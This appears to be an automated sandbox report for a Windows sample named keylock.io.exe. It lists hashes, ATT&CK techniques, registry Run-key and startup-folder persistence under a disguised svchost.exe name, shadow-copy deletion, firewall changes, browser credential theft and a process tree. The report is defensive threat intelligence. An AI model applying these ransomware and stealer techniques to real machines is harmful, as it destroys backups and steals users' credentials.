cb65ce63c269cb0a817fd1ba6614f220c848477775d28410507f9cd258f8a75d

Analysis

max time kernel
12s
max time network
14s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/04/2026, 23:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
keylock.io.exe
Size 30KB
Sample260429-22m41ahs41
SHA256 cb65ce63c269cb0a817fd1ba6614f220c848477775d28410507f9cd258f8a75d
MD5 7a753280bd35ff55b0b16a282a6d023d
SHA1 2788bff0a5278db254633f9ea435f08c5387c282
SHA512 af9d42287c0512f158511d9088ff0ea8e6074e78900b2965b01b0fea676630dcb38330e61ff442b3d413a0b48a44b5bd8f9121fb65827a28a10eaddec74c8a33
SSDEEP 384:AhEhj82glfgjIJ1CAlgzzQBzCkukiMFZlWB/b7g6OEO6g5Oo+R2Iii5av8+EOkdv:AVN86gPetlWBj05tB+R2AEPa3kCF
TLSH
T18DE2F94837EA86A1D9FE1ABE083392105730F917ED13EB1D0FD465892F637458E987A3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution impact persistence privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5788	powershell.exe
5796	powershell.exe

Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2564	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	keylock.io.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	keylock.io.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	keylock.io.exe

Executes dropped EXE 2 IoCs

pid	Process
2140	keylock.io.exe
5452	keylock.io.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\NanoCoreUltimate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\keylock.io.exe"	keylock.io.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4940	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4976	vssadmin.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "36"	LogonUI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3744	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4876	keylock.io.exe
864	chrome.exe
864	chrome.exe
2140	keylock.io.exe
2140	keylock.io.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	4876	keylock.io.exe
Token: SeShutdownPrivilege	864	chrome.exe
Token: SeCreatePagefilePrivilege	864	chrome.exe
Token: SeShutdownPrivilege	864	chrome.exe
Token: SeCreatePagefilePrivilege	864	chrome.exe
Token: SeShutdownPrivilege	864	chrome.exe
Token: SeCreatePagefilePrivilege	864	chrome.exe
Token: SeShutdownPrivilege	864	chrome.exe
Token: SeCreatePagefilePrivilege	864	chrome.exe
Token: SeShutdownPrivilege	864	chrome.exe
Token: SeCreatePagefilePrivilege	864	chrome.exe
Token: SeShutdownPrivilege	864	chrome.exe
Token: SeCreatePagefilePrivilege	864	chrome.exe
Token: SeShutdownPrivilege	2284	shutdown.exe
Token: SeRemoteShutdownPrivilege	2284	shutdown.exe
Token: SeDebugPrivilege	2140	keylock.io.exe
Token: SeShutdownPrivilege	864	chrome.exe
Token: SeCreatePagefilePrivilege	864	chrome.exe
Token: SeBackupPrivilege	2972	vssvc.exe
Token: SeRestorePrivilege	2972	vssvc.exe
Token: SeAuditPrivilege	2972	vssvc.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe
864	chrome.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4876	keylock.io.exe
4876	keylock.io.exe
4876	keylock.io.exe
5580	LogonUI.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4876 wrote to memory of 864	4876	keylock.io.exe	84
PID 864 wrote to memory of 3620	864	chrome.exe	85
PID 864 wrote to memory of 4940	864	chrome.exe	86
PID 864 wrote to memory of 4952	864	chrome.exe	87
PID 864 wrote to memory of 4952	864	chrome.exe	87
PID 864 wrote to memory of 1796	864	chrome.exe	89
PID 864 wrote to memory of 1796	864	chrome.exe	89
PID 864 wrote to memory of 3880	864	chrome.exe	90
PID 864 wrote to memory of 868	864	chrome.exe	91
PID 864 wrote to memory of 3880	864	chrome.exe	90
PID 864 wrote to memory of 868	864	chrome.exe	91
PID 864 wrote to memory of 1692	864	chrome.exe	92
PID 864 wrote to memory of 1692	864	chrome.exe	92
PID 4876 wrote to memory of 5488	4876	keylock.io.exe	93
PID 5488 wrote to memory of 5076	5488	chrome.exe	94
PID 864 wrote to memory of 4772	864	chrome.exe	95
PID 864 wrote to memory of 4772	864	chrome.exe	95
PID 4876 wrote to memory of 4776	4876	keylock.io.exe	96
PID 4776 wrote to memory of 4200	4776	chrome.exe	97
PID 864 wrote to memory of 5016	864	chrome.exe	98
PID 864 wrote to memory of 5016	864	chrome.exe	98
PID 4876 wrote to memory of 1788	4876	keylock.io.exe	99
PID 1788 wrote to memory of 5208	1788	chrome.exe	100
PID 864 wrote to memory of 5172	864	chrome.exe	101
PID 864 wrote to memory of 5172	864	chrome.exe	101
PID 864 wrote to memory of 4072	864	chrome.exe	102
PID 864 wrote to memory of 4072	864	chrome.exe	102
PID 864 wrote to memory of 4068	864	chrome.exe	103
PID 864 wrote to memory of 4068	864	chrome.exe	103
PID 864 wrote to memory of 4368	864	chrome.exe	104
PID 864 wrote to memory of 4368	864	chrome.exe	104
PID 864 wrote to memory of 5628	864	chrome.exe	105
PID 864 wrote to memory of 5628	864	chrome.exe	105
PID 4876 wrote to memory of 2536	4876	keylock.io.exe	106
PID 2536 wrote to memory of 4128	2536	chrome.exe	107
PID 864 wrote to memory of 1072	864	chrome.exe	108
PID 864 wrote to memory of 1072	864	chrome.exe	108
PID 864 wrote to memory of 2920	864	chrome.exe	109
PID 864 wrote to memory of 2920	864	chrome.exe	109
PID 4876 wrote to memory of 5176	4876	keylock.io.exe	114
PID 4876 wrote to memory of 4576	4876	keylock.io.exe	115
PID 5176 wrote to memory of 3332	5176	chrome.exe	116
PID 4876 wrote to memory of 3744	4876	keylock.io.exe	117
PID 4876 wrote to memory of 5788	4876	keylock.io.exe	120
PID 864 wrote to memory of 4488	864	chrome.exe	121
PID 864 wrote to memory of 4488	864	chrome.exe	121
PID 4876 wrote to memory of 2564	4876	keylock.io.exe	122
PID 4876 wrote to memory of 5796	4876	keylock.io.exe	124
PID 4876 wrote to memory of 4976	4876	keylock.io.exe	126
PID 4876 wrote to memory of 2284	4876	keylock.io.exe	127
PID 4876 wrote to memory of 2140	4876	keylock.io.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\keylock.io.exe
"C:\Users\Admin\AppData\Local\Temp\keylock.io.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe3bc3c728,0x7ffe3bc3c734,0x7ffe3bc3c740
    3⤵
    PID:3620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1576,i,17634502063331513787,6429268554149871064,524288 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2028 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1672,i,13164913692679754159,4544980930089340514,262144 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1988 /prefetch:2
    3⤵
    PID:4952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,3014574573859473223,11845879852435912464,524288 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2572 /prefetch:8
    3⤵
    PID:1796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3048,i,14348494852836016805,5018097957559368774,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3040 /prefetch:1
    3⤵
    PID:3880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3080,i,16385808419417892771,1300365588002776804,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3096 /prefetch:1
    3⤵
    PID:868
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4292,i,12144468439580463595,4719240270553752206,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4308 /prefetch:2
    3⤵
    PID:1692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4568,i,11092532188232751309,4597178249593751195,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4564 /prefetch:1
    3⤵
    PID:4772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4840,i,12373081968155543823,15010748147687330522,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4876 /prefetch:1
    3⤵
    PID:5016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5064,i,9810590860410736380,4029403682000605716,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5020 /prefetch:1
    3⤵
    PID:5172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5188,i,10705835482950779899,11223909546997315364,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5224 /prefetch:1
    3⤵
    PID:4072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5348,i,14729348568528699326,10712242762999301120,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5344 /prefetch:1
    3⤵
    PID:4068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5532,i,650481252287863060,18288993418159637447,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5536 /prefetch:1
    3⤵
    PID:4368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5664,i,4908293175649352894,9441885347363876287,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5680 /prefetch:1
    3⤵
    PID:5628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=3924,i,670192540968888735,78662017951606857,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4648 /prefetch:1
    3⤵
    PID:1072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5948,i,16108782577599790950,18161489934968968449,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5952 /prefetch:1
    3⤵
    PID:2920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4772,i,16066170044073477025,17643597812463285290,2097152 --field-trial-handle=1992,i,6073278830429495131,3329824195157654934,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3276 /prefetch:1
    3⤵
    PID:4488
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe3bc3c728,0x7ffe3bc3c734,0x7ffe3bc3c740
    3⤵
    PID:5076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe3bc3c728,0x7ffe3bc3c734,0x7ffe3bc3c740
    3⤵
    PID:4200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe3bc3c728,0x7ffe3bc3c734,0x7ffe3bc3c740
    3⤵
    PID:5208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://keylock.io
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe3bc3c728,0x7ffe3bc3c734,0x7ffe3bc3c740
    3⤵
    PID:4128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://bundleware.com/download
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe3bc3c728,0x7ffe3bc3c734,0x7ffe3bc3c740
    3⤵
    PID:3332
